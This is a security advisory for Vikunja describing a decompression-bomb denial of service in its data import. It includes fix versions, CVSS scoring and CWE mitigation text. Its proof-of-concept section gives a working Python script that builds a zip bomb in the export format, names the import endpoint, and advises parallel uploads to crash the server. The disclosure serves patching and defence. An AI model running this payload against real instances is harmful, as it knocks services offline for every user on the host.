GHSA-w7jp-mf2v-8342 CVE-2026-91979 GO-2026-6756
Vikunja: Denial of service via decompression bomb in the data import
- Severity
- 0.0 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.44%
- Chance of exploitation in the next 30 days. Higher than 37.86% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-400 Uncontrolled Resource Consumption
- CWE-409 Improper Handling of Highly Compressed Data (Data Amplification)
- CWE-770 Allocation of Resources Without Limits or Throttling
- Fix
2.6.0- Upgrade code.vikunja.io/api to this version or later
Description
Summary
Vikunja lets you export your data as a zip and import it back. The import doesn't limit how large the archive expands to, how many files it contains, or how much storage one user can consume, and it appears to hold the whole archive in memory while processing it. Because the archive is compressed, a ~20 MB upload made of highly compressible content expands to tens of gigabytes once imported. A single crafted upload is enough to exhaust the server's memory or fill its disk and knock the whole instance offline. It can be repeated or run in parallel, since nothing stops a user from starting several imports at once.
Details
The import accepts an archive in the same layout the built-in export produces: a manifest describing projects and tasks, plus the attachment files those tasks reference. Each individual file inside the archive is size-checked, but there's no ceiling on the total uncompressed size or on the number of files, and there's no per-user storage quota anywhere. On top of that, the server seems to buffer every attachment in memory before writing it out, so the peak memory cost is the sum of all decompressed files at once, not one at a time.
Compression is the key factor: a file full of a repeating byte (e.g. zeroes) shrinks by roughly a thousand to one. So an archive that fits under the upload size limit (around 20 MB) can describe on the order of a thousand ~20 MB attachments, which the server then expands to tens of gigabytes in RAM and writes to disk. When memory runs out the process is killed; when the disk fills, the instance (and anything else on that host) stops working. Nothing serialises imports, so a user can also fire several in parallel to reach the limit faster.
The fix is to cap the total uncompressed size and the file count per archive, stream each file to disk instead of buffering them all in memory, enforce a per-user storage quota, and refuse a new import while one is already running for that user.
PoC
The attacker needs an ordinary account that can use the import feature.
- Build a zip in the export format containing one project with for example ~200 tasks, each referencing an attachment, and ~200 attachment files, each 18 MB of zero bytes. Filled with zeroes, the whole thing compresses to roughly 4 MB (under the upload limit).
#!/usr/bin/env python3
import argparse, json, os, zipfile
CHUNK = b"\0" * (1024 * 1024)
def build(out, n, size, version):
tasks = [{"title": f"t{i}", "attachments": [{"file": {"id": i, "name": "a"}}]}
for i in range(1, n + 1)]
data = json.dumps([{"title": "bomb", "tasks": tasks, "child_projects": []}]).encode()
with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as z:
z.writestr("VERSION", version)
z.writestr("data.json", data)
for i in range(1, n + 1):
with z.open(f"files/{i}", "w") as f:
for _ in range(size):
f.write(CHUNK)
raw = n * size * 1024**2
print(f"[+] {out}: {os.path.getsize(out)/1024**2:.2f} MiB "
f"({raw/1024**3:.1f} GiB uncompressed)")
p = argparse.ArgumentParser()
p.add_argument("-o", "--out", default="bomb.zip")
p.add_argument("-n", "--files", type=int, default=200)
p.add_argument("-s", "--size-mib", type=int, default=18)
p.add_argument("--version", default="v2.5.0")
a = p.parse_args()
build(a.out, a.files, a.size_mib, a.version)
- Upload it to the import endpoint:
PUT /api/v1/migration/vikunja-file/migrate
(multipart file upload: the crafted zip)
- Watch the server. Memory climbs into 3.5 GB within seconds and the disk fills with the expanded files. On a typical host the process is OOM-killed or the disk fills, and the instance stops responding for everyone. Repeat, or send several uploads at once, to reach the limit reliably.
(You can derive the exact archive layout in step 1 by first exporting your own data once and inspecting the zip it hands back.)
Impact
Denial of service (availability). One authenticated user, with a single upload, can drive the server into tens of GB of memory and disk usage, killing the process or filling the disk. This takes the whole instance down for every user, and if the disk is shared with other services on the host, those go down too. No admin rights and no victim interaction are required, any account that can import data is enough. Recovery needs an operator to reclaim memory/disk and clear the partially written import.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.vikunja.io/api | < 2.6.0 |
2.6.0 |
| code.vikunja.io/api | all versions |
No fix yet |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.vikunja.io/api Go → 2.6.0
- go
go get code.vikunja.io/api@v2.6.0 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-400: Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource.
How to prevent it
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Implementation: Ensure that all failures in resource allocation place the system into a safe posture.
CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.
CWE-770: Allocation of Resources Without Limits or Throttling
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
How to prevent it
- Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
- Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
- Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-m687-p538-r5hp Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted | Medium | Also affects code.vikunja.io/api |
| GHSA-fmmf-xq98-g327 Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check | Medium | Also affects code.vikunja.io/api |
| GHSA-pjr3-86v4-5p7w Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0) | Medium | Also affects code.vikunja.io/api |
| GHSA-hjx8-qv73-f7cm Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed | High | Also affects code.vikunja.io/api |
| GHSA-fprf-r6rv-xg99 Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants | Medium | Also affects code.vikunja.io/api |
| GHSA-4hv6-xc92-j86g Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes | High | Also affects code.vikunja.io/api |
| GHSA-w2ch-4xgr-22ww Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal | Low | Also affects code.vikunja.io/api |
| GHSA-8wvg-r2j4-3737 Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint | Medium | Also affects code.vikunja.io/api |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor